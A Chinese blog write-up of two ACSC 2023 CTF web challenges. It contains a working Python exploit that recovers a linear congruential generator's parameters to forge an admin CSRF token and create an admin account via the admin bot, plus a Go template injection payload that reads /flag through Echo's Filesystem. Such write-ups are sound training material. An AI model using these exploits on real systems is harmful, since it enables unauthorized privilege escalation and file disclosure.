ACSC 2023 比赛复现

Admin Dashboard

在 index.php 中可以看到需要访问者是 admin 权限,才可以看到 flag。
在这里插入图片描述
report.php 中可以让 admin bot 访问我们输入的 url,那么也就是说可以访问 addadmin.php 添加用户。
在这里插入图片描述

在 addadmin.php 中可以添加 admin 用户,但是需要 admin 权限添加,且 csrf-token 要是 admin 用户生成的,也就是说现在万事俱备,只差 csrf-token,而这个 csrf-token 是线性同余生成的伪随机数,且我们知道了其中的,M 和 n(伪随机数),那么自然也就可以逆推出 A 和 C,也就可以伪造 admin 的 csrf-token 了,具体实现过程和函数关系,可以看看相关文章

在这里插入图片描述

import requests
import re
import time
import string
import random
import binascii

BASE = 'http://admin-dashboard.chal.ctf.acsc.asia'
#BASE = 'http://localhost:8000'
username = ''.join(random.sample(string.ascii_letters, 10))
password = ''.join(random.sample(string.ascii_letters, 10))

print(f'username -> {username}')
print(f'password -> {password}')

s = requests.Session()
s.get(BASE + '/register', params={'username':username, 'password':password})
s.get(BASE + '/login', params={'username':username, 'password':password})

x = []
for _ in range(8):		#获取8个伪随机的线性 token,用来逆推 
    t = s.get(BASE + '/addadmin').text
    token = re.findall(r'<input type=\"hidden\" name=\"csrf-token\" value=\"([0-9a-f]*)\">', t)[0]
    print(token)
    x.append(int(token, 16))

    time.sleep(35)

# ============================================

# https://satto.hatenadiary.com/entry/solve-LCG

def solve_unknown_increment(states, A, M):
    B = (states[1] - A * states[0]) % M
    return B

from Crypto.Util.number import inverse

def solve_unknown_multiplier(states, M):
    A = (states[2] - states[1]) * inverse((states[1] - states[0]), M)
    return A

from Crypto.Util.number import inverse, GCD
from functools import reduce

def solve_unknown_modulus(states):
    diffs = [X_1 - X_0 for X_0, X_1 in zip(states, states[1:])]
    multiples_of_M = [T_2 * T_0 - T_1 ** 2 for T_0, T_1, T_2, in zip(diffs, diffs[1:], diffs[2:])]

    # GCD(GCD(multiples_of_M[0],multiples_of_M[1]), multiples_of_M[2])
    M = reduce(GCD, multiples_of_M)
    return M

M = solve_unknown_modulus(x)
A = solve_unknown_multiplier(x, M)
C = solve_unknown_increment(x, A, M)

# answer
print("A = {}".format(hex(A)))
print("C = {}".format(hex(C)))
print("M = {}".format(hex(M)))

# ============================================

from Crypto.Util.number import *

assert (A * bytes_to_long(username.encode()) + C) % M == x[0]

print(hex((A * bytes_to_long('admin'.encode()) + C) % M))

获得 csrf-token 后,发送生成 admin 账户的 url,最后以 admin 权限的账户登录即可。

http://localhost/addadmin?username=waeji25fgew&password=dfgj34ijgi&csrf-token=1fe69abb084e42434627a84405d722e0

在这里插入图片描述

easySSTI

if err := t.Execute(buf, c); err != nil { 模板生成的部分,在 main.go 里面,且上下文传递的变量c是echo.Context,我们可以搜索任何从这里追踪到并可以使用的东西。

https://github.com/labstack/echo/blob/master/echo.go,发现一个叫做 Filesystem 的东西,可以用 Open 打开 File,它会返回相应文件的 fs.File。
在这里插入图片描述
然后用它自己准备的 Read,且在 main.go 中 tmpl, ok := c.Get("template").([]byte) 可以检索变量 .Get "template" 如果将其指定为保存目标,然后显示它就可以让 flag 以十进制数组来显示。
在这里插入图片描述
在这里插入图片描述

payload:

{{ (.Echo.Filesystem.Open "/flag").Read (.Get "template") }} {{.Get "template"}}

wp

https://blog.hamayanhamayan.com/entry/2023/02/26/124239
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值